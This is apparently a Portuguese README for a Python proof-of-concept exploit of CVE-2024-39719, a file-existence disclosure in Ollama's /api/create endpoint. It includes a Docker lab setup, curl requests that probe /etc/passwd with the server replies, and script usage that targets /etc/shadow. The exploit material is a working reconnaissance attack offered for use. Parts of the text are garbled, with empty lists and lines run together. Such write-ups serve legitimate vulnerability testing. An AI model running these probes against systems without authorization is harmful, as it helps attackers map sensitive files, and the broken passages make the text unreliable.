
Script de exploit em Python para CVE-2024-39719, uma vulnerabilidade de divulgação de existência de arquivo no Ollama. Testa endpoints da API para detectar caminhos de arquivos do servidor, auxiliando na análise de vulnerabilidades e testes de penetração.
CVE-2024-39719 é uma vulnerabilidade de divulgação de existência de arquivos que afeta o Ollama versões 0.3.14 e anteriores. Esta vulnerabilidade permite que atacantes detectem a existência de arquivos específicos no servidor através de um endpoint de API, potencialmente levando ao vazamento de informações.
Data de Lançamento: 31 de outubro de 2024
A vulnerabilidade existe no endpoint /api/create do Ollama. Quando um atacante chama a API CreateModel com um parâmetro de caminho, o servidor retorna mensagens de erro diferentes com base na existência ou não do caminho. Esse comportamento permite que um atacante determine se um arquivo ou diretório específico existe no servidor analisando as mensagens de erro.
A questão central é que, ao lidar com a entrada do usuário, o sistema expõe diretamente os erros do sistema de arquivos ao cliente, em vez de ocultar adequadamente as informações de existência do caminho.
Esta vulnerabilidade afeta todas as versões do Ollama até a 0.3.14 inclusive.
Embora uma vulnerabilidade de divulgação de existência de arquivos possa parecer inicialmente menos grave, ela pode:
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/.Envie uma requisição usando curl para tentar acessar um arquivo inexistente:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
Resposta:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
Teste para um arquivo existente, como /etc/passwd:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
Resposta:
{"error":"no FROM line for the model was specified"}
Ao analisar essas diferentes mensagens de erro, um atacante pode determinar se um caminho alvo existe ou não, obtendo informações sobre a estrutura de arquivos do servidor. Observe que as informações retornadas pelo servidor podem variar dependendo da versão.
O Ollama corrigiu esta vulnerabilidade em versões mais recentes. As correções incluem:
/api/create.O script Python fornecido permite testar se um servidor Ollama é vulnerável ao CVE-2024-39719.
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
-u, --url: URL do servidor Ollama (obrigatório)-f, --file: Arquivo para verificar a existência (padrão é "/etc/passwd")# Check if a server is vulnerable
python CVE_2024_39719.py -u http://your-ip:11434
# Check if a specific file exists
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
Este script é fornecido apenas para fins educacionais e testes de segurança legítimos. Sempre certifique-se de ter a devida autorização antes de testar qualquer sistema quanto a vulnerabilidades. Testes não autorizados podem violar leis e regulamentos.